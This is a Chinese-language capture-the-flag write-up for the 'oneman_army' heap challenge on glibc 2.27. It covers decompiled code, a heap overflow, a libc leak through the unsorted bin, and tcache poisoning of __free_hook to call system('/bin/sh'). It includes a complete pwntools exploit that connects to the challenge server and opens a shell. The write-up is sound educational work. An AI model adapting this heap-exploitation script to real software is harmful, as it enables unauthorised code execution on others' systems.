前言
攻防世界的一道large bin,unsorted bin,tcache attack的题目(one man army, 一个人的军队, 看起来很吊)
做到后面的10分题,发现攻防世界的题目环境问题很多啊,不是高分题有多难,而是环境有问题打通了也拿不到flag,或者根本打不通(2021.9.10
不过这道题是可以顺利打通的
分析过程
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
sub_11B5(a1, a2, a3);
memset(s, 0, 0x10uLL);
while ( 1 )
{
menu();
read(0, s, 0xFuLL);
v4 = atoi(s);
if ( v4 == 4 )
return 0LL;
if ( v4 == 2 )
{
Puts();
}
else if ( v4 > 2 )
{
if ( v4 == 3 )
{
Free();
}
else if ( v4 == 9011 )
{
if ( !dword_4050 )
{
read(0, buf, 0x100uLL);
goto LABEL_15;
}
}
else
{
LABEL_15:
puts("Invalid option!");
}
}
else
{
if ( v4 != 1 )
goto LABEL_15;
Create();
}
}
}
unsigned __int64 sub_1243()
{
__int16 v0; // ax
size_t size[3]; // [rsp+Ch] [rbp-24h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Size: ");
read(0, (char *)size + 4, 0xFuLL);
v0 = atoi((const char *)size + 4);
LODWORD(size[0]) = v0 & 0x1FF; // size
buf = (char *)malloc(v0 & 0x1FF);
printf("Content: ");
read(0, buf, LODWORD(size[0]));
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
选择9011时, buf存在溢出
漏洞利用
堆溢出的问题最终都是要攻击free/malloc(_hook), 比如修改free_hook, 使其调用system, free("/bin/sh\x00")就可以实现get shell
这题给了libc, 是2.27版本, 考虑tcache机制, 反而是tcache比fastbin更容易利用
思路:
申请两个连续的chunk, 释放第二个, 用堆溢出修改第二个chunk的size为large chunk, 再申请回来再释放就会放入unsorted bin, 接着从unsorted bin中切割出一个0x30的chunk, unsorted bin的头指针会往后指0x30偏移, 再申请一个0x40的chunk, 就可以拿到main_arena的地址, show()
泄露出来, 这里需要将低3位抹平, 因为ASLR是按0x1000对齐的, 所以不用考虑第三位的偏移, 然后低3位加上hook在libc的地址即可拿到实际的hook地址
接下来就是继续chunk溢出, 修改tcache_next指针指向free_hook, 再修改free_hook指向system, 再给buf覆盖成"/bin/sh\x00", 最后delete就完事
exp
from os import system
from pwn import *
url, port = "111.200.241.244", 60081
filename = "./oneman_army"
elf = ELF(filename)
libc = ELF("./libc-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def BK():
gdb.attach(io)
pause()
def create(size,content):
io.sendlineafter('Your choice:', '1')
io.sendlineafter('Size:', str(size))
io.sendafter('Content:', content)
def show():
io.sendlineafter('Your choice:', '2')
def delete():
io.sendlineafter('Your choice:', '3')
def edit(content):
io.sendlineafter('Your choice:', '9011')
io.send(content)
def pwn():
malloc_hook_libc = libc.sym["__malloc_hook"]
free_hook_libc = libc.sym["__free_hook"]
system_libc = libc.sym["system"]
for i in range(1, 0x10):
create(i * 0x10, "ZZZZ")
delete()
create(0x10, "Z")
payload = cyclic(0x10) + p64(0) + p64(0x4b1)
edit(payload)
delete()
create(0x20, "Z")
delete()
create(0x20, "Z")
create(0x30, "Z")
show()
io.recv(1)
main_arena_addr = u64(io.recvuntil("\n", drop = True).ljust(8, b"\x00"))
libc_base = (main_arena_addr & 0xFFFFFFFFFFFFF000) + (malloc_hook_libc & 0xFFF) - malloc_hook_libc
free_hook_addr = free_hook_libc + libc_base
system_addr = system_libc + libc_base
log.info("libc base address: %#x" % libc_base)
log.info("free hook address: %#x" % free_hook_addr)
log.info("system address: %#x" % system_addr)
payload = cyclic(0x30) + p64(0) + p64(0x50) + p64(free_hook_addr)
edit(payload)
create(0x40, "ZZZZ")
create(0x40, p64(system_addr))
create(0x50, b"/bin/sh\x00")
delete()
io.interactive()
if __name__ == "__main__":
pwn()
总结
难点
(1) 构造tcache 0x40链第一个chunk和unsorted bin的第一个chunk重合
这是一个比较复杂的点, 一开始不理解泄露libc的手法, 但是通过调试观察内存数据理解了.
其实本质都是通过unsorted bin的main_arena泄露libc, 不过问题在于怎么拿到第一个unsorted bin的chunk, 因为有tcache机制, 又有堆溢出, 所以可以通过修改下一个邻近的chunk头size改成large chunk, 丢进unsorted bin中, 接下来是问题的关键, 因为这里是修改0x30chunk到unsorted bin中, 实际内存中是0x30和0x40chunk邻接, 所以把large chunk切割出一个0x30后, unsorted bin中的第一个chunk就是剩下的部分, 而这个chunk头刚好就是tcache中0x40chunk的头, 所以再申请出tcache中的0x40chunk就拿到了unsorted bin第一个chunk的数据, fd指针就是指向main_arena
(实在看不懂的可以一行行调试观察heap和bin
卡点
(1) 老毛病了, 犯低级错误, 64位系统地址一共写成16位16进制
0xFFFFFFFFFFFFF000
而不是8位
0xFFFFF000